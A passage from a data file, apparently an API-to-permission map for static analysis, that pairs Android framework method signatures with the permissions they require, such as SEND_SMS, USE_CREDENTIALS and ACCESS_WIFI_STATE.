"Landroid/accounts/AccountManager;-getAuthToken-(Landroid/accounts/Account; Ljava/lang/String; Landroid/os/Bundle; Landroid/app/Activity; Landroid/accounts/AccountManagerCallback; Landroid/os/Handler;)":
"USE_CREDENTIALS",
"Landroid/accounts/AccountManager;-getAuthToken-(Landroid/accounts/Account; Ljava/lang/String; B Landroid/accounts/AccountManagerCallback; Landroid/os/Handler;)":
"USE_CREDENTIALS",
"Landroid/accounts/AccountManagerService;-getAuthToken-(Landroid/accounts/IAccountManagerResponse; Landroid/accounts/Account; Ljava/lang/String; B B Landroid/os/Bundle;)":
"USE_CREDENTIALS",
"Landroid/accounts/IAccountManager$Stub$Proxy;-getAuthToken-(Landroid/accounts/IAccountManagerResponse; Landroid/accounts/Account; Ljava/lang/String; B B Landroid/os/Bundle;)":
"USE_CREDENTIALS",
"Lcom/android/internal/app/IUsageStats$Stub$Proxy;-notePauseComponent-(LComponentName;)":
"UPDATE_DEVICE_STATS",
"Lcom/android/internal/app/IUsageStats$Stub$Proxy;-noteResumeComponent-(LComponentName;)":
"UPDATE_DEVICE_STATS",
"Lcom/android/internal/app/IBatteryStats$Stub$Proxy;-noteFullWifiLockAcquired-(I)":
"UPDATE_DEVICE_STATS",
"Lcom/android/internal/app/IBatteryStats$Stub$Proxy;-noteFullWifiLockReleased-(I)":
"UPDATE_DEVICE_STATS",
"Lcom/android/internal/app/IBatteryStats$Stub$Proxy;-noteInputEvent-()":
"UPDATE_DEVICE_STATS",
"Lcom/android/internal/app/IBatteryStats$Stub$Proxy;-notePhoneDataConnectionState-(I B)":
"UPDATE_DEVICE_STATS",
"Lcom/android/internal/app/IBatteryStats$Stub$Proxy;-notePhoneOff-()":
"UPDATE_DEVICE_STATS",
"Lcom/android/internal/app/IBatteryStats$Stub$Proxy;-notePhoneOn-()":
"UPDATE_DEVICE_STATS",
"Lcom/android/internal/app/IBatteryStats$Stub$Proxy;-notePhoneSignalStrength-(LSignalStrength;)":
"UPDATE_DEVICE_STATS",
"Lcom/android/internal/app/IBatteryStats$Stub$Proxy;-notePhoneState-(I)":
"UPDATE_DEVICE_STATS",
"Lcom/android/internal/app/IBatteryStats$Stub$Proxy;-noteScanWifiLockAcquired-(I)":
"UPDATE_DEVICE_STATS",
"Lcom/android/internal/app/IBatteryStats$Stub$Proxy;-noteScanWifiLockReleased-(I)":
"UPDATE_DEVICE_STATS",
"Lcom/android/internal/app/IBatteryStats$Stub$Proxy;-noteScreenBrightness-(I)":
"UPDATE_DEVICE_STATS",
"Lcom/android/internal/app/IBatteryStats$Stub$Proxy;-noteScreenOff-()":
"UPDATE_DEVICE_STATS",
"Lcom/android/internal/app/IBatteryStats$Stub$Proxy;-noteScreenOn-()":
"UPDATE_DEVICE_STATS",
"Lcom/android/internal/app/IBatteryStats$Stub$Proxy;-noteStartGps-(I)":
"UPDATE_DEVICE_STATS",
"Lcom/android/internal/app/IBatteryStats$Stub$Proxy;-noteStartSensor-(I I)":
"UPDATE_DEVICE_STATS",
"Lcom/android/internal/app/IBatteryStats$Stub$Proxy;-noteStartWakelock-(I Ljava/lang/String; I)":
"UPDATE_DEVICE_STATS",
"Lcom/android/internal/app/IBatteryStats$Stub$Proxy;-noteStopGps-(I)":
"UPDATE_DEVICE_STATS",
"Lcom/android/internal/app/IBatteryStats$Stub$Proxy;-noteStopSensor-(I I)":
"UPDATE_DEVICE_STATS",
"Lcom/android/internal/app/IBatteryStats$Stub$Proxy;-noteStopWakelock-(I Ljava/lang/String; I)":
"UPDATE_DEVICE_STATS",
"Lcom/android/internal/app/IBatteryStats$Stub$Proxy;-noteUserActivity-(I I)":
"UPDATE_DEVICE_STATS",
"Lcom/android/internal/app/IBatteryStats$Stub$Proxy;-noteWifiMulticastDisabled-(I)":
"UPDATE_DEVICE_STATS",
"Lcom/android/internal/app/IBatteryStats$Stub$Proxy;-noteWifiMulticastEnabled-(I)":
"UPDATE_DEVICE_STATS",
"Lcom/android/internal/app/IBatteryStats$Stub$Proxy;-noteWifiOff-(I)":
"UPDATE_DEVICE_STATS",
"Lcom/android/internal/app/IBatteryStats$Stub$Proxy;-noteWifiOn-(I)":
"UPDATE_DEVICE_STATS",
"Lcom/android/internal/app/IBatteryStats$Stub$Proxy;-noteWifiRunning-()":
"UPDATE_DEVICE_STATS",
"Lcom/android/internal/app/IBatteryStats$Stub$Proxy;-noteWifiStopped-()":
"UPDATE_DEVICE_STATS",
"Lcom/android/internal/app/IBatteryStats$Stub$Proxy;-recordCurrentLevel-(I)":
"UPDATE_DEVICE_STATS",
"Lcom/android/internal/app/IBatteryStats$Stub$Proxy;-setOnBattery-(B I)":
"UPDATE_DEVICE_STATS",
"Landroid/telephony/gsm/SmsManager;-getDefault-()": "SEND_SMS",
"Landroid/telephony/gsm/SmsManager;-sendDataMessage-(Ljava/lang/String; Ljava/lang/String; S [B Landroid/app/PendingIntent; Landroid/app/PendingIntent;)":
"SEND_SMS",
"Landroid/telephony/gsm/SmsManager;-sendTextMessage-(Ljava/lang/String; Ljava/lang/String; Ljava/lang/String; Landroid/app/PendingIntent; Landroid/app/PendingIntent;)":
"SEND_SMS",
"Landroid/telephony/gsm/SmsManager;-sendDataMessage-(Ljava/lang/String; Ljava/lang/String; S [L; Landroid/app/PendingIntent; Landroid/app/PendingIntent;)":
"SEND_SMS",
"Landroid/telephony/gsm/SmsManager;-sendMultipartTextMessage-(Ljava/lang/String; Ljava/lang/String; Ljava/util/ArrayList; Ljava/util/ArrayList; Ljava/util/ArrayList;)":
"SEND_SMS",
"Landroid/telephony/gsm/SmsManager;-sendTextMessage-(Ljava/lang/String; Ljava/lang/String; Ljava/lang/String; Landroid/app/PendingIntent; Landroid/app/PendingIntent;)":
"SEND_SMS",
"Landroid/telephony/SmsManager;-getDefault-()": "SEND_SMS",
"Landroid/telephony/SmsManager;-sendDataMessage-(Ljava/lang/String; Ljava/lang/String; S [B Landroid/app/PendingIntent; Landroid/app/PendingIntent;)":
"SEND_SMS",
"Landroid/telephony/SmsManager;-sendTextMessage-(Ljava/lang/String; Ljava/lang/String; Ljava/lang/String; Landroid/app/PendingIntent; Landroid/app/PendingIntent;)":
"SEND_SMS",
"Landroid/telephony/SmsManager;-sendDataMessage-(Ljava/lang/String; Ljava/lang/String; S [L; Landroid/app/PendingIntent; Landroid/app/PendingIntent;)":
"SEND_SMS",
"Landroid/telephony/SmsManager;-sendMultipartTextMessage-(Ljava/lang/String; Ljava/lang/String; Ljava/util/ArrayList; Ljava/util/ArrayList; Ljava/util/ArrayList;)":
"SEND_SMS",
"Landroid/telephony/SmsManager;-sendTextMessage-(Ljava/lang/String; Ljava/lang/String; Ljava/lang/String; Landroid/app/PendingIntent; Landroid/app/PendingIntent;)":
"SEND_SMS",
"Lcom/android/internal/telephony/ISms$Stub$Proxy;-sendData-(Ljava/lang/String; Ljava/lang/String; I [B Landroid/app/PendingIntent; Landroid/app/PendingIntent;)":
"SEND_SMS",
"Lcom/android/internal/telephony/ISms$Stub$Proxy;-sendMultipartText-(Ljava/lang/String; Ljava/lang/String; Ljava/util/List; Ljava/util/List; Ljava/util/List;)":
"SEND_SMS",
"Lcom/android/internal/telephony/ISms$Stub$Proxy;-sendText-(Ljava/lang/String; Ljava/lang/String; Ljava/lang/String; Landroid/app/PendingIntent; Landroid/app/PendingIntent;)":
"SEND_SMS",
"Landroid/provider/UserDictionary$Words;-addWord-(Landroid/content/Context; Ljava/lang/String; I I)":
"WRITE_USER_DICTIONARY",
"Landroid/telephony/TelephonyManager;-getCellLocation-()": "ACCESS_COARSE_LOCATION",
"Landroid/telephony/PhoneStateListener;-LISTEN_CELL_LOCATION-I":
"ACCESS_COARSE_LOCATION",
"Landroid/location/LocationManager;-NETWORK_PROVIDER-Ljava/lang/String;":
"ACCESS_COARSE_LOCATION",
"Landroid/os/storage/IMountService$Stub$Proxy;-renameSecureContainer-(Ljava/lang/String; Ljava/lang/String;)":
"ASEC_RENAME",
"Landroid/view/IWindowSession$Stub$Proxy;-add-(Landroid/view/IWindow; Landroid/view/WindowManager$LayoutParams; I Landroid/graphics/Rect;)":
"SYSTEM_ALERT_WINDOW",
"Landroid/net/wifi/IWifiManager$Stub$Proxy;-acquireMulticastLock-(Landroid/os/IBinder; Ljava/lang/String;)":
"CHANGE_WIFI_MULTICAST_STATE",
"Landroid/net/wifi/IWifiManager$Stub$Proxy;-initializeMulticastFiltering-()":
"CHANGE_WIFI_MULTICAST_STATE",
"Landroid/net/wifi/IWifiManager$Stub$Proxy;-releaseMulticastLock-()":
"CHANGE_WIFI_MULTICAST_STATE",
"Landroid/net/wifi/WifiManager$MulticastLock;-acquire-()":
"CHANGE_WIFI_MULTICAST_STATE",
"Landroid/net/wifi/WifiManager$MulticastLock;-finalize-()":
"CHANGE_WIFI_MULTICAST_STATE",
"Landroid/net/wifi/WifiManager$MulticastLock;-release-()":
"CHANGE_WIFI_MULTICAST_STATE",
"Landroid/net/wifi/WifiManager;-initializeMulticastFiltering-()":
"CHANGE_WIFI_MULTICAST_STATE",
"Landroid/content/Intent;-ACTION_BOOT_COMPLETED-Ljava/lang/String;":
"RECEIVE_BOOT_COMPLETED",
"Landroid/provider/AlarmClock;-ACTION_SET_ALARM-Ljava/lang/String;": "SET_ALARM",
"Landroid/provider/AlarmClock;-EXTRA_HOUR-Ljava/lang/String;": "SET_ALARM",
"Landroid/provider/AlarmClock;-EXTRA_MESSAGE-Ljava/lang/String;": "SET_ALARM",
"Landroid/provider/AlarmClock;-EXTRA_MINUTES-Ljava/lang/String;": "SET_ALARM",
"Landroid/provider/AlarmClock;-EXTRA_SKIP_UI-Ljava/lang/String;": "SET_ALARM",
"Lcom/android/internal/telephony/IccPhoneBookInterfaceManager$Stub$Proxy;-updateAdnRecordsInEfByIndex-(I Ljava/lang/String; Ljava/lang/String; Ljava/lang/String;)":
"WRITE_CONTACTS",
"Lcom/android/internal/telephony/IccPhoneBookInterfaceManager$Stub$Proxy;-updateAdnRecordsInEfBySearch-(I Ljava/lang/String; Ljava/lang/String; Ljava/lang/String; Ljava/lang/String; Ljava/lang/String;)":
"WRITE_CONTACTS",
"Landroid/provider/Contacts$People;-addToGroup-(Landroid/content/ContentResolver; J J)":
"WRITE_CONTACTS",
"Landroid/provider/ContactsContract$Contacts;-markAsContacted-(Landroid/content/ContentResolver; J)":
"WRITE_CONTACTS",
"Landroid/provider/Contacts$Settings;-setSetting-(Landroid/content/ContentResolver; Ljava/lang/String; Ljava/lang/String; Ljava/lang/String;)":
"WRITE_CONTACTS",
"Lcom/android/internal/telephony/IIccPhoneBook$Stub$Proxy;-updateAdnRecordsInEfByIndex-(I Ljava/lang/String; Ljava/lang/String; Ljava/lang/String;)":
"WRITE_CONTACTS",
"Lcom/android/internal/telephony/IIccPhoneBook$Stub$Proxy;-updateAdnRecordsInEfBySearch-(I Ljava/lang/String; Ljava/lang/String; Ljava/lang/String; Ljava/lang/String; Ljava/lang/String;)":
"WRITE_CONTACTS",
"Landroid/provider/CallLog$Calls;-removeExpiredEntries-(Landroid/content/Context;)":
"WRITE_CONTACTS",
"Landroid/pim/vcard/VCardEntryCommitter;-onEntryCreated-(Landroid/pim/vcard/VCardEntry;)":
"WRITE_CONTACTS",
"Landroid/pim/vcard/VCardEntryHandler;-onEntryCreated-(Landroid/pim/vcard/VCardEntry;)":
"WRITE_CONTACTS",
"Landroid/pim/vcard/VCardEntry;-pushIntoContentResolver-(Landroid/content/ContentResolver;)":
"WRITE_CONTACTS",
"Landroid/content/Intent;-ACTION_NEW_OUTGOING_CALL-Ljava/lang/String;":
"PROCESS_OUTGOING_CALLS",
"Landroid/app/StatusBarManager;-collapse-()": "EXPAND_STATUS_BAR",
"Landroid/app/StatusBarManager;-expand-()": "EXPAND_STATUS_BAR",
"Landroid/app/StatusBarManager;-toggle-()": "EXPAND_STATUS_BAR",
"Landroid/app/IStatusBar$Stub$Proxy;-activate-()": "EXPAND_STATUS_BAR",
"Landroid/app/IStatusBar$Stub$Proxy;-deactivate-()": "EXPAND_STATUS_BAR",
"Landroid/app/IStatusBar$Stub$Proxy;-toggle-()": "EXPAND_STATUS_BAR",
"Lcom/android/internal/telephony/ITelephony$Stub$Proxy;-answerRingingCall-()":
"MODIFY_PHONE_STATE",
"Lcom/android/internal/telephony/ITelephony$Stub$Proxy;-cancelMissedCallsNotification-()":
"MODIFY_PHONE_STATE",
"Lcom/android/internal/telephony/ITelephony$Stub$Proxy;-disableApnType-(Ljava/lang/String;)":
"MODIFY_PHONE_STATE",
"Lcom/android/internal/telephony/ITelephony$Stub$Proxy;-disableDataConnectivity-()":
"MODIFY_PHONE_STATE",
"Lcom/android/internal/telephony/ITelephony$Stub$Proxy;-enableApnType-(Ljava/lang/String;)":
"MODIFY_PHONE_STATE",
"Lcom/android/internal/telephony/ITelephony$Stub$Proxy;-enableDataConnectivity-()":
"MODIFY_PHONE_STATE",
"Lcom/android/internal/telephony/ITelephony$Stub$Proxy;-handlePinMmi-(Ljava/lang/String;)":
"MODIFY_PHONE_STATE",
"Lcom/android/internal/telephony/ITelephony$Stub$Proxy;-setRadio-(B)":
"MODIFY_PHONE_STATE",
"Lcom/android/internal/telephony/ITelephony$Stub$Proxy;-silenceRinger-()":
"MODIFY_PHONE_STATE",
"Lcom/android/internal/telephony/ITelephony$Stub$Proxy;-supplyPin-(Ljava/lang/String;)":
"MODIFY_PHONE_STATE",
"Lcom/android/internal/telephony/ITelephony$Stub$Proxy;-toggleRadioOnOff-()":
"MODIFY_PHONE_STATE",
"Landroid/net/MobileDataStateTracker;-reconnect-()": "MODIFY_PHONE_STATE",
"Landroid/net/MobileDataStateTracker;-setRadio-(B)": "MODIFY_PHONE_STATE",
"Landroid/net/MobileDataStateTracker;-teardown-()": "MODIFY_PHONE_STATE",
"Lcom/android/internal/telephony/ITelephonyRegistry$Stub$Proxy;-notifyCallForwardingChanged-(B)":
"MODIFY_PHONE_STATE",
"Lcom/android/internal/telephony/ITelephonyRegistry$Stub$Proxy;-notifyCallState-(I Ljava/lang/String;)":
"MODIFY_PHONE_STATE",
"Lcom/android/internal/telephony/ITelephonyRegistry$Stub$Proxy;-notifyCellLocation-(Landroid/os/Bundle;)":
"MODIFY_PHONE_STATE",
"Lcom/android/internal/telephony/ITelephonyRegistry$Stub$Proxy;-notifyDataActivity-(I)":
"MODIFY_PHONE_STATE",
"Lcom/android/internal/telephony/ITelephonyRegistry$Stub$Proxy;-notifyDataConnection-(I B Ljava/lang/String; Ljava/lang/String; [Ljava/lang/String; Ljava/lang/String; I)":
"MODIFY_PHONE_STATE",
"Lcom/android/internal/telephony/ITelephonyRegistry$Stub$Proxy;-notifyDataConnectionFailed-(Ljava/lang/String;)":
"MODIFY_PHONE_STATE",
"Lcom/android/internal/telephony/ITelephonyRegistry$Stub$Proxy;-notifyMessageWaitingChanged-(B)":
"MODIFY_PHONE_STATE",
"Lcom/android/internal/telephony/ITelephonyRegistry$Stub$Proxy;-notifyServiceState-(Landroid/telephony/ServiceState;)":
"MODIFY_PHONE_STATE",
"Lcom/android/internal/telephony/ITelephonyRegistry$Stub$Proxy;-notifySignalStrength-(Landroid/telephony/SignalStrength;)":
"MODIFY_PHONE_STATE",
"Landroid/os/IMountService$Stub$Proxy;-formatMedi-()": "MOUNT_FORMAT_FILESYSTEMS",
"Landroid/os/storage/IMountService$Stub$Proxy;-formatVolume-(Ljava/lang/String;)":
"MOUNT_FORMAT_FILESYSTEMS",
"Landroid/net/Downloads$DownloadBase;-startDownloadByUri-(Landroid/content/Context; Ljava/lang/String; Ljava/lang/String; B I B B Ljava/lang/String; Ljava/lang/String; Ljava/lang/String; Ljava/lang/String;)":
"ACCESS_DOWNLOAD_MANAGER",
"Landroid/net/Downloads$ByUri;-getCurrentOtaDownloads-(Landroid/content/Context; Ljava/lang/String;)":
"ACCESS_DOWNLOAD_MANAGER",
"Landroid/net/Downloads$ByUri;-getProgressCursor-(Landroid/content/Context; J)":
"ACCESS_DOWNLOAD_MANAGER",
"Landroid/net/Downloads$ByUri;-getStatus-(Landroid/content/Context; Ljava/lang/String; J)":
"ACCESS_DOWNLOAD_MANAGER",
"Landroid/net/Downloads$ByUri;-removeAllDownloadsByPackage-(Landroid/content/Context; Ljava/lang/String; Ljava/lang/String;)":
"ACCESS_DOWNLOAD_MANAGER",
"Landroid/net/Downloads$ByUri;-startDownloadByUri-(Landroid/content/Context; Ljava/lang/String; Ljava/lang/String; B I B B Ljava/lang/String; Ljava/lang/String; Ljava/lang/String; Ljava/lang/String;)":
"ACCESS_DOWNLOAD_MANAGER",
"Landroid/net/Downloads$ById;-deleteDownload-(Landroid/content/Context; J)":
"ACCESS_DOWNLOAD_MANAGER",
"Landroid/net/Downloads$ById;-getMimeTypeForId-(Landroid/content/Context; J)":
"ACCESS_DOWNLOAD_MANAGER",
"Landroid/net/Downloads$ById;-getStatus-(Landroid/content/Context; J)":
"ACCESS_DOWNLOAD_MANAGER",
"Landroid/net/Downloads$ById;-openDownload-(Landroid/content/Context; J Ljava/lang/String;)":
"ACCESS_DOWNLOAD_MANAGER",
"Landroid/net/Downloads$ById;-openDownloadStream-(Landroid/content/Context; J)":
"ACCESS_DOWNLOAD_MANAGER",
"Landroid/net/Downloads$ById;-startDownloadByUri-(Landroid/content/Context; Ljava/lang/String; Ljava/lang/String; B I B B Ljava/lang/String; Ljava/lang/String; Ljava/lang/String; Ljava/lang/String;)":
"ACCESS_DOWNLOAD_MANAGER",
"Landroid/view/IWindowManager$Stub$Proxy;-getDPadKeycodeState-(I)":
"READ_INPUT_STATE",
"Landroid/view/IWindowManager$Stub$Proxy;-getDPadScancodeState-(I)":
"READ_INPUT_STATE",
"Landroid/view/IWindowManager$Stub$Proxy;-getKeycodeState-(I)": "READ_INPUT_STATE",
"Landroid/view/IWindowManager$Stub$Proxy;-getKeycodeStateForDevice-(I I)":
"READ_INPUT_STATE",
"Landroid/view/IWindowManager$Stub$Proxy;-getScancodeState-(I)": "READ_INPUT_STATE",
"Landroid/view/IWindowManager$Stub$Proxy;-getScancodeStateForDevice-(I I)":
"READ_INPUT_STATE",
"Landroid/view/IWindowManager$Stub$Proxy;-getSwitchState-(I)": "READ_INPUT_STATE",
"Landroid/view/IWindowManager$Stub$Proxy;-getSwitchStateForDevice-(I I)":
"READ_INPUT_STATE",
"Landroid/view/IWindowManager$Stub$Proxy;-getTrackballKeycodeState-(I)":
"READ_INPUT_STATE",
"Landroid/view/IWindowManager$Stub$Proxy;-getTrackballScancodeState-(I)":
"READ_INPUT_STATE",
"Landroid/app/ContextImpl$ApplicationContentResolver;-getCurrentSync-()":
"READ_SYNC_STATS",
"Landroid/app/ContextImpl$ApplicationContentResolver;-getSyncStatus-(Landroid/accounts/Account; Ljava/lang/String;)":
"READ_SYNC_STATS",
"Landroid/app/ContextImpl$ApplicationContentResolver;-isSyncActive-(Landroid/accounts/Account; Ljava/lang/String;)":
"READ_SYNC_STATS",
"Landroid/app/ContextImpl$ApplicationContentResolver;-isSyncPending-(Landroid/accounts/Account; Ljava/lang/String;)":
"READ_SYNC_STATS",
"Landroid/content/ContentService;-getCurrentSync-()": "READ_SYNC_STATS",
"Landroid/content/ContentService;-getSyncStatus-(Landroid/accounts/Account; Ljava/lang/String;)":
"READ_SYNC_STATS",
"Landroid/content/ContentService;-isSyncActive-(Landroid/accounts/Account; Ljava/lang/String;)":
"READ_SYNC_STATS",
"Landroid/content/ContentService;-isSyncPending-(Landroid/accounts/Account; Ljava/lang/String;)":
"READ_SYNC_STATS",
"Landroid/content/ContentResolver;-getCurrentSync-()": "READ_SYNC_STATS",
"Landroid/content/ContentResolver;-getSyncStatus-(Landroid/accounts/Account; Ljava/lang/String;)":
"READ_SYNC_STATS",
"Landroid/content/ContentResolver;-isSyncActive-(Landroid/accounts/Account; Ljava/lang/String;)":
"READ_SYNC_STATS",
"Landroid/content/ContentResolver;-isSyncPending-(Landroid/accounts/Account; Ljava/lang/String;)":
"READ_SYNC_STATS",
"Landroid/content/IContentService$Stub$Proxy;-getCurrentSync-()": "READ_SYNC_STATS",
"Landroid/content/IContentService$Stub$Proxy;-getSyncStatus-(Landroid/accounts/Account; Ljava/lang/String;)":
"READ_SYNC_STATS",
"Landroid/content/IContentService$Stub$Proxy;-isSyncActive-(Landroid/accounts/Account; Ljava/lang/String;)":
"READ_SYNC_STATS",
"Landroid/content/IContentService$Stub$Proxy;-isSyncPending-(Landroid/accounts/Account; Ljava/lang/String;)":
"READ_SYNC_STATS",
"Landroid/app/AlarmManager;-setTime-(J)": "SET_TIME",
"Landroid/app/AlarmManager;-setTimeZone-(Ljava/lang/String;)": "SET_TIME",
"Landroid/app/AlarmManager;-setTime-(J)": "SET_TIME",
"Landroid/app/IAlarmManager$Stub$Proxy;-setTime-(J)": "SET_TIME",
"Lcom/htc/net/wimax/WimaxController$Stub$Proxy;-setWimaxEnable-()":
"CHANGE_WIMAX_STATE",
"Landroid/os/IMountService$Stub$Proxy;-mountMedi-()": "MOUNT_UNMOUNT_FILESYSTEMS",
"Landroid/os/IMountService$Stub$Proxy;-unmountMedi-()": "MOUNT_UNMOUNT_FILESYSTEMS",
"Landroid/os/storage/IMountService$Stub$Proxy;-getStorageUsers-(Ljava/lang/String;)":
"MOUNT_UNMOUNT_FILESYSTEMS",
"Landroid/os/storage/IMountService$Stub$Proxy;-mountVolume-(Ljava/lang/String;)":
"MOUNT_UNMOUNT_FILESYSTEMS",
"Landroid/os/storage/IMountService$Stub$Proxy;-setUsbMassStorageEnabled-(B)":
"MOUNT_UNMOUNT_FILESYSTEMS",
"Landroid/os/storage/IMountService$Stub$Proxy;-unmountVolume-(Ljava/lang/String; B)":
"MOUNT_UNMOUNT_FILESYSTEMS",
"Landroid/os/storage/StorageManager;-disableUsbMassStorage-()":
"MOUNT_UNMOUNT_FILESYSTEMS",
"Landroid/os/storage/StorageManager;-enableUsbMassStorage-()":
"MOUNT_UNMOUNT_FILESYSTEMS",
"Landroid/app/ContextImpl$ApplicationPackageManager;-movePackage-(Ljava/lang/String; LIPackageMoveObserver; I)":
"MOVE_PACKAGE",
"Landroid/app/ContextImpl$ApplicationPackageManager;-movePackage-(Ljava/lang/String; LIPackageMoveObserver; I)":
"MOVE_PACKAGE",
"Landroid/content/pm/PackageManager;-movePackage-(Ljava/lang/String; LIPackageMoveObserver; I)":
"MOVE_PACKAGE",
"Landroid/content/pm/IPackageManager$Stub$Proxy;-movePackage-(Ljava/lang/String; Landroid/content/pm/IPackageMoveObserver; I)":
"MOVE_PACKAGE",
"Lcom/htc/net/wimax/WimaxController$Stub$Proxy;-getConnectionInf-()":
"ACCESS_WIMAX_STATE",
"Lcom/htc/net/wimax/WimaxController$Stub$Proxy;-getWimaxStat-()": "ACCESS_WIMAX_STATE",
"Lcom/htc/net/wimax/WimaxController$Stub$Proxy;-isBackoffStat-()":
"ACCESS_WIMAX_STATE",
"Lcom/htc/net/wimax/WimaxController$Stub$Proxy;-isWimaxEnable-()":
"ACCESS_WIMAX_STATE",
"Landroid/net/sip/SipAudioCall;-startAudio-()": "ACCESS_WIFI_STATE",
"Landroid/net/wifi/IWifiManager$Stub$Proxy;-getConfiguredNetworks-()":
"ACCESS_WIFI_STATE",
"Landroid/net/wifi/IWifiManager$Stub$Proxy;-getConnectionInfo-()": "ACCESS_WIFI_STATE",
"Landroid/net/wifi/IWifiManager$Stub$Proxy;-getDhcpInfo-()": "ACCESS_WIFI_STATE",
"Landroid/net/wifi/IWifiManager$Stub$Proxy;-getNumAllowedChannels-()":
"ACCESS_WIFI_STATE",
"Landroid/net/wifi/IWifiManager$Stub$Proxy;-getScanResults-()": "ACCESS_WIFI_STATE",
"Landroid/net/wifi/IWifiManager$Stub$Proxy;-getValidChannelCounts-()":
"ACCESS_WIFI_STATE",
"Landroid/net/wifi/IWifiManager$Stub$Proxy;-getWifiApEnabledState-()":
"ACCESS_WIFI_STATE",
"Landroid/net/wifi/IWifiManager$Stub$Proxy;-getWifiEnabledState-()":
"ACCESS_WIFI_STATE",
"Landroid/net/wifi/IWifiManager$Stub$Proxy;-isMulticastEnabled-()":
"ACCESS_WIFI_STATE",
"Landroid/net/wifi/WifiManager;-getConfiguredNetworks-()": "ACCESS_WIFI_STATE",
"Landroid/net/wifi/WifiManager;-getConnectionInfo-()": "ACCESS_WIFI_STATE",
"Landroid/net/wifi/WifiManager;-getDhcpInfo-()": "ACCESS_WIFI_STATE",
"Landroid/net/wifi/WifiManager;-getNumAllowedChannels-()": "ACCESS_WIFI_STATE",
"Landroid/net/wifi/WifiManager;-getScanResults-()": "ACCESS_WIFI_STATE",
"Landroid/net/wifi/WifiManager;-getValidChannelCounts-()": "ACCESS_WIFI_STATE",
"Landroid/net/wifi/WifiManager;-getWifiApState-()": "ACCESS_WIFI_STATE",
"Landroid/net/wifi/WifiManager;-getWifiState-()": "ACCESS_WIFI_STATE",
"Landroid/net/wifi/WifiManager;-isMulticastEnabled-()": "ACCESS_WIFI_STATE",
"Landroid/net/wifi/WifiManager;-isWifiApEnabled-()": "ACCESS_WIFI_STATE",
"Landroid/net/wifi/WifiManager;-isWifiEnabled-()": "ACCESS_WIFI_STATE",
"Landroid/webkit/WebIconDatabase;-bulkRequestIconForPageUrl-(Landroid/content/ContentResolver; Ljava/lang/String; Landroid/webkit/WebIconDatabase$IconListener;)":
"READ_HISTORY_BOOKMARKS",
"Landroid/provider/Browser;-BOOKMARKS_URI-Landroid/net/Uri;": "READ_HISTORY_BOOKMARKS",
"Landroid/provider/Browser;-SEARCHES_URI-Landroid/net/Uri;": "READ_HISTORY_BOOKMARKS",
"Landroid/provider/Browser;-addSearchUrl-(Landroid/content/ContentResolver; Ljava/lang/String;)":
"READ_HISTORY_BOOKMARKS",
"Landroid/provider/Browser;-canClearHistory-(Landroid/content/ContentResolver;)":
"READ_HISTORY_BOOKMARKS",
"Landroid/provider/Browser;-getAllBookmarks-(Landroid/content/ContentResolver;)":
"READ_HISTORY_BOOKMARKS",
"Landroid/provider/Browser;-getAllVisitedUrls-(Landroid/content/ContentResolver;)":
"READ_HISTORY_BOOKMARKS",
"Landroid/provider/Browser;-requestAllIcons-(Landroid/content/ContentResolver; Ljava/lang/String; Landroid/webkit/WebIconDatabase/IconListener;)":
"READ_HISTORY_BOOKMARKS",
"Landroid/provider/Browser;-truncateHistory-(Landroid/content/ContentResolver;)":
"READ_HISTORY_BOOKMARKS",
"Landroid/provider/Browser;-updateVisitedHistory-(Landroid/content/ContentResolver; Ljava/lang/String; B)":
"READ_HISTORY_BOOKMARKS",
"Landroid/provider/Browser;-addSearchUrl-(Landroid/content/ContentResolver; Ljava/lang/String;)":
"READ_HISTORY_BOOKMARKS",
"Landroid/provider/Browser;-canClearHistory-(Landroid/content/ContentResolver;)":
"READ_HISTORY_BOOKMARKS",
"Landroid/provider/Browser;-clearHistory-(Landroid/content/ContentResolver;)":
"READ_HISTORY_BOOKMARKS",
"Landroid/provider/Browser;-deleteFromHistory-(Landroid/content/ContentResolver; Ljava/lang/String;)":
"READ_HISTORY_BOOKMARKS",
"Landroid/provider/Browser;-deleteHistoryTimeFrame-(Landroid/content/ContentResolver; J J)":
"READ_HISTORY_BOOKMARKS",
"Landroid/provider/Browser;-deleteHistoryWhere-(Landroid/content/ContentResolver; Ljava/lang/String;)":
"READ_HISTORY_BOOKMARKS",
"Landroid/provider/Browser;-getAllBookmarks-(Landroid/content/ContentResolver;)":
"READ_HISTORY_BOOKMARKS",
"Landroid/provider/Browser;-getAllVisitedUrls-(Landroid/content/ContentResolver;)":
"READ_HISTORY_BOOKMARKS",
"Landroid/provider/Browser;-getVisitedHistory-(Landroid/content/ContentResolver;)":
"READ_HISTORY_BOOKMARKS",
"Landroid/provider/Browser;-getVisitedLike-(Landroid/content/ContentResolver; Ljava/lang/String;)":
"READ_HISTORY_BOOKMARKS",
"Landroid/provider/Browser;-requestAllIcons-(Landroid/content/ContentResolver; Ljava/lang/String; Landroid/webkit/WebIconDatabase$IconListener;)":
"READ_HISTORY_BOOKMARKS",
"Landroid/provider/Browser;-truncateHistory-(Landroid/content/ContentResolver;)":
"READ_HISTORY_BOOKMARKS",
"Landroid/provider/Browser;-updateVisitedHistory-(Landroid/content/ContentResolver; Ljava/lang/String; B)":
"READ_HISTORY_BOOKMARKS",
"Landroid/os/storage/IMountService$Stub$Proxy;-destroySecureContainer-(Ljava/lang/String; B)":
"ASEC_DESTROY",
"Landroid/net/ThrottleManager;-getByteCount-(Ljava/lang/String; I I I)":
"ACCESS_NETWORK_STATE",
"Landroid/net/ThrottleManager;-getCliffLevel-(Ljava/lang/String; I)":
"ACCESS_NETWORK_STATE",
"Landroid/net/ThrottleManager;-getCliffThreshold-(Ljava/lang/String; I)":
"ACCESS_NETWORK_STATE",
"Landroid/net/ThrottleManager;-getHelpUri-()": "ACCESS_NETWORK_STATE",
"Landroid/net/ThrottleManager;-getPeriodStartTime-(Ljava/lang/String;)":
"ACCESS_NETWORK_STATE",
"Landroid/net/ThrottleManager;-getResetTime-(Ljava/lang/String;)":
"ACCESS_NETWORK_STATE",
"Landroid/net/NetworkInfo;-isConnectedOrConnecting-()": "ACCESS_NETWORK_STATE",
"Landroid/os/INetworkManagementService$Stub$Proxy;-getDnsForwarders-()":
"ACCESS_NETWORK_STATE",
"Landroid/os/INetworkManagementService$Stub$Proxy;-getInterfaceRxCounter-(Ljava/lang/String;)":
"ACCESS_NETWORK_STATE",
"Landroid/os/INetworkManagementService$Stub$Proxy;-getInterfaceRxThrottle-(Ljava/lang/String;)":
"ACCESS_NETWORK_STATE",
"Landroid/os/INetworkManagementService$Stub$Proxy;-getInterfaceTxCounter-(Ljava/lang/String;)":
"ACCESS_NETWORK_STATE",
